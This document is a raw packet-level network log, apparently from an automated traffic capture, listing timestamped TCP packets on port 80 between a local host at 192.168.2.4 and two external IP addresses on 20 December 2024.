Dec 20, 2024 07:12:46.162072897 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.162209034 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.162255049 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.163106918 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.163173914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.163219929 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.164146900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.164258003 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.164303064 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.165160894 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.165266991 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.165322065 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.166202068 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.166300058 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.166354895 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.167227030 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.167262077 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.167301893 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.168216944 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.168339968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.168389082 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.169243097 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.169337034 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.169383049 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.170257092 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.170382977 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.170429945 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.171283007 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.171411037 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.171449900 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.172292948 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.172344923 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.172388077 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.173314095 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.173446894 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.173494101 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.174351931 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.174876928 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.174921989 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.175354958 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.175484896 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.175533056 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.176373959 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.176467896 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.176520109 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.177376032 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.177483082 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.177531958 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.178451061 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.178566933 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.178615093 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.179431915 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.179553986 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.179594040 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.180444956 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.180553913 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.180597067 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.181478977 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.181588888 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.181633949 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.182506084 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.182620049 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.182667971 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.183516026 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.183653116 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.183701038 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.184524059 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.184642076 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.184688091 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.185538054 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.185662031 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.185705900 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.186264992 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.186316967 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.186410904 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.186467886 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.186559916 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.186671019 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.186718941 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.187024117 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.187076092 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.187123060 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.187170982 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.187593937 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.187724113 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.187767982 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.188177109 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.188226938 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.188311100 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.188354969 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.188600063 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.188735962 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.188781023 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.189616919 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.189712048 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.189748049 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.189760923 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.189784050 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.189794064 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.189842939 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.190644026 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.190761089 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.190814018 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.191169977 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.191217899 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.191304922 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.191356897 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.191689968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.191813946 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.191855907 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.192665100 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.192713022 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.192718029 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.192753077 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.192759037 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.192964077 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.193003893 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.193763018 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.193931103 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.193977118 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.194128036 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.194174051 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.194226027 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.194268942 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.194767952 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.194861889 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.194909096 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.195588112 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.195628881 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.195705891 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.195749044 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.195785999 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.195820093 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.195866108 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.196793079 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.196919918 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.197000027 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.197020054 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.197061062 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.197108030 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.197154045 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.197802067 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.197855949 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.197911024 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.198410988 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.198460102 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.198523998 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.198563099 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.198803902 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.198925972 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.198971033 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.199850082 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.199901104 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.199934959 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.199944019 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.199970007 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.199980021 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.200016022 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.200841904 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.200954914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.201000929 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.201196909 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.201241970 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.201313972 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.201361895 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.201873064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.201992035 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.202038050 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.202583075 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.202634096 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.202642918 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.202677011 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.202857018 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.203962088 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.204011917 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.204054117 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.204094887 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.205303907 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.205365896 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.205369949 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.205415964 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.206629038 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.206679106 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.206753016 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.206798077 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.207964897 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.208009005 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.208179951 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.208225965 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.209283113 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.209333897 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.209400892 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.209441900 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.210572958 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.210621119 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.210627079 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.210690975 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.211864948 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.211909056 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.211916924 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.211981058 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.213184118 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.213217974 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.213228941 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.213258982 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.214471102 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.214510918 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.214572906 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.214612961 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.215694904 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.215730906 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.215817928 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.215867996 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.216996908 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.217046976 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.217051983 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.217096090 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.218235016 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.218297958 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.218365908 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.218401909 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.219513893 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.219561100 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.219645977 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.219690084 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.220746994 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.220798969 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.220880032 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.220922947 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.221952915 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.222003937 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.222095013 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.222141981 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.223262072 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.223309040 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.223331928 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.223376036 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.224488974 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.224533081 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.224653959 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.224701881 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.225712061 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.225753069 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.225836992 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.225878000 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.226985931 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.227031946 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.227101088 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.227143049 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.228358984 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.228411913 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.228518963 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.228564024 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.229487896 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.229537964 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.229618073 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.229664087 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.230714083 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.230761051 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.230766058 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.230806112 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.231975079 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.232017994 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.232053041 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.232099056 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.233244896 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.233308077 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.233334064 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.233378887 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.234466076 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.234507084 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.234576941 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.234622955 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.235683918 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.235729933 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.235737085 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.235778093 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.236959934 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.237005949 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.237071991 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.237112045 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.238212109 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.238265038 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.238312960 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.238358021 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.239491940 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.239538908 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.239583015 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.239629030 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.240680933 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.240729094 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.240801096 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.240842104 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.241936922 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.241981983 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.242072105 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.242117882 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.243175030 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.243227959 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.243248940 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.243284941 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.244102001 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.244430065 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.244489908 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.244610071 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.244653940 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.245666027 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.245714903 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.245771885 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.245817900 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.246911049 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.246968031 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.246977091 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.247018099 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.248199940 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.248245955 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.248338938 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.248389959 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.249429941 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.249483109 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.249547958 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.249598026 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.250653982 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.250705004 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.250771046 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.250813007 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.251918077 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.251962900 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.252249002 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.252310991 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.253177881 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.253221989 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.253297091 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.253341913 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.254390955 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:46.254436016 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:46.341881990 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.341952085 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:46.342000961 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:46.342246056 CET	80	49862	147.45.113.159	192.168.2.4
